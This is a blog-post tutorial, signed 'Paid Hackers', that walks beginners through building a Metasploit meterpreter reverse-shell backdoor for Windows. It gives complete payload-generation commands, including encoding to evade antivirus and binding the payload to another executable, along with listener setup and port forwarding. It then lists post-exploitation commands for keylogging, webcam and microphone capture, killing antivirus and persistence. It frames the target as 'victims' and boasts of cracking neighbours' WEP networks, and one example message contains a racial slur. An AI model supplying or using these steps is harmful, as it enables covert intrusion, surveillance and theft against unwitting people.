Metasploit Backdoor UD Server, Noob Friendly - By Paid Hackers


In this tutorial  you will learn how to make a "Rat"


Please note
  we didn't come up with this method and we don't take any credit for this method except for writing the tutorial.

Okay well enough crap, lets get started.
The first thing you may really want to look in to and take the time to learn is a penetration testing operating system called "Backtrack." Ive seen many post on "How do i hack? Where do I start??!!?!?!!" Well you start by going to http://www.backtrack-linux.org/ and FULLY read every page on this website. This will educate you on how to install, boot to the GUI, etc. Oh and one more thing Backtrack is not the same as Ettercap, Nmap, and Metasploit. Backtrack is an linux based OS (operating system) kinda like windows. Ettercap, Nmap, and Metasploit are "programs" that run within the OS. Just to clear the air on that subject.

Local Connection
  1. Once you've downloaded and installed your shiny new toy on a peace of sh*t computer your going open a shell (terminal) with root privileges. (By default backtrack opens the shell with root privileges.) It should look something like this.
    Screen shot

    [Image: ijyYco.png]

    -
  2. In this shell you want to type this command
    Code:
    msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPORT=4444 X > server.exe
    Please note: your "LHOST" might not be "192.168.2.12" This is the IP address of your computer (Attacker) on your network. So change it as needed. The LPORT is the local port you and your server will communicate through. This can stay on port 4444 unless chosen otherwise.
    What this command does is makes a .exe server telling this server what IP is going to be communicating with and the port to connect through.

    Screen shot

    [Image: ij3Zlc.png]
    Now at this point you should see a icon on your desktop "server.exe"
    Send this server through email, USB, whatever. Send it to your self on a windows based operating system (The only reason we say this is because it will be more convenient to bind it with a file and other things that we will explain later on).

    -
  3. Now  guessing you have your server all ready set go. Okay so you sent out your server and waiting for them to open the file. While you are waiting you can move on to the next step. In the same shell or a new shell (don't matter) type the following command.
    Code:
    msfcli exploit/multi/handler payload=windows/meterpreter/reverse_tcp LHOST=192.168.2.12 LPROT=4444 E
    Note again the LHOST might not be the same, So change as needed.
    This code will open Metasploit, Load the payload, tell Medasploit your IP and port to connect though and it will wait until your victim opens the server.
    Screen shot

    [Image: ij4btk.png]
    When metasploit is waiting for your victim to open your server you will see the following.

    [Image: ijzakw.png]
    Now when your victim opens the server you should see the following
    Screen shot

    [Image: ijzIVc.png]
    Congrats! your connected to your victim! :]

    -
  4. Now that we are connected just type "?"
    This will give you a list of commands you can perform on your victim.
    Screen shot
    This ones a biggen.

    [Image: ij4jPG.png]


External Connection

Okay this part we are basically starting over. We just have some new commands and differant ways of connecting to your victim.
  1. Okay the first thing you want to do is port forward your router. I have a  ton of WEP connections around my house so i used the aircrack-ng suit to crack some connections to show you on some different ways to port forward your router. The first router ill cover is a Netgear Wireless G router.



    Next router is going to be a Belkin Router.
    You can also go to http://portforward.com/ for full details on port forwarding your router. I'll add more routers if you need more help.
    Once you have port forward your you can move on to the next step.

    -
  2. Again your going open a shell (terminal) in Backtrack with root.
    Screen shot

    [Image: ijyYco.png]
  3. In the shell type this command.
    Code:
    msfpayload windows/meterpreter/reverse_tcp LHOST=(External IP) R | msfencode -e x86/shikata_ga_nai -t exe -c 10 -o server.exe (-x fileto bind to.exe -k)
    This will be the payload, along with the local host (External IP(internet protocol address)). The "(-x fileto bind to.exe -k)" is optional, you don't have to add this to your command unless your going to bind your server with another windows binary file (.exe). If you choose to bind the the server, leave out the ( ) so the command would look something like this
    Screen shot

    [Image: jlEpyy.PNG]
    You can find your External IP address from Here

    -
  4. Now we have our server made and bind with a file and sent out for mass destruction in the same shell or a new one type this code.
    Code:
    msfcli multi/handler payload=windows/meterpreter/reverse_tcp LHOST=(Internal IP) E
    This starts Metasploit, payloads, handler, and listens on port 4444
    The LHOST is your INTERNAL IP address, The IP your router give you.. Should be something like 192.168.2.5 or so on. When everything looks good press enter and wait for your victim to open.
    (If you're waiting forever for your victim to connect and your not sure if you port forward your router correctly you can visit http://www.canyouseeme.org/ and type in "4444" and it will tell you if you have forward your router correctly.)
    [Image: jlMUia.PNG]
    When he does i'm sure you know what to do from there. ;]


Ok here is a list of all the meterpreter commands that are worth knowing:

ps - Look at processes
migrate - Migrate to a process
use priv - Get higher privileges
getsystem - Get higher privileges
shell - open CMD or a terminal if target is nix
screenshot - Hm....
killav - Kills some AV's
uictl disable keyboard - Kills keys
uictl disable mouse - Kills mouse
run checkvm - Check if the meterpreter session is from a virtual machine
run getcountermeasure - Find out what AV/firewalls the target is using
run screenspy - View the desktop (Refreshes screenshot)
run webcam - View webcam
run keylogrecorder - Records key strokes
record_mic -d 10 - Records Mic for 10 seconds
run persistence -X -i 60 -r Your.dynamic.dns - Makes the backdoor persistent so when reboots will connect back to you
msg * 'Hello Nigga' - Once in a CMD prompt message someone
upload - Upload a file to the slave
download - Download a file from the slave

                    Sincerely Paid hackers
Metasploit Backdoor UD Server, Noob Friendly - By Paid Hackers  Metasploit Backdoor UD Server, Noob Friendly - By Paid Hackers Reviewed by amit on 00:57 Rating: 5

No comments:

Powered by Blogger.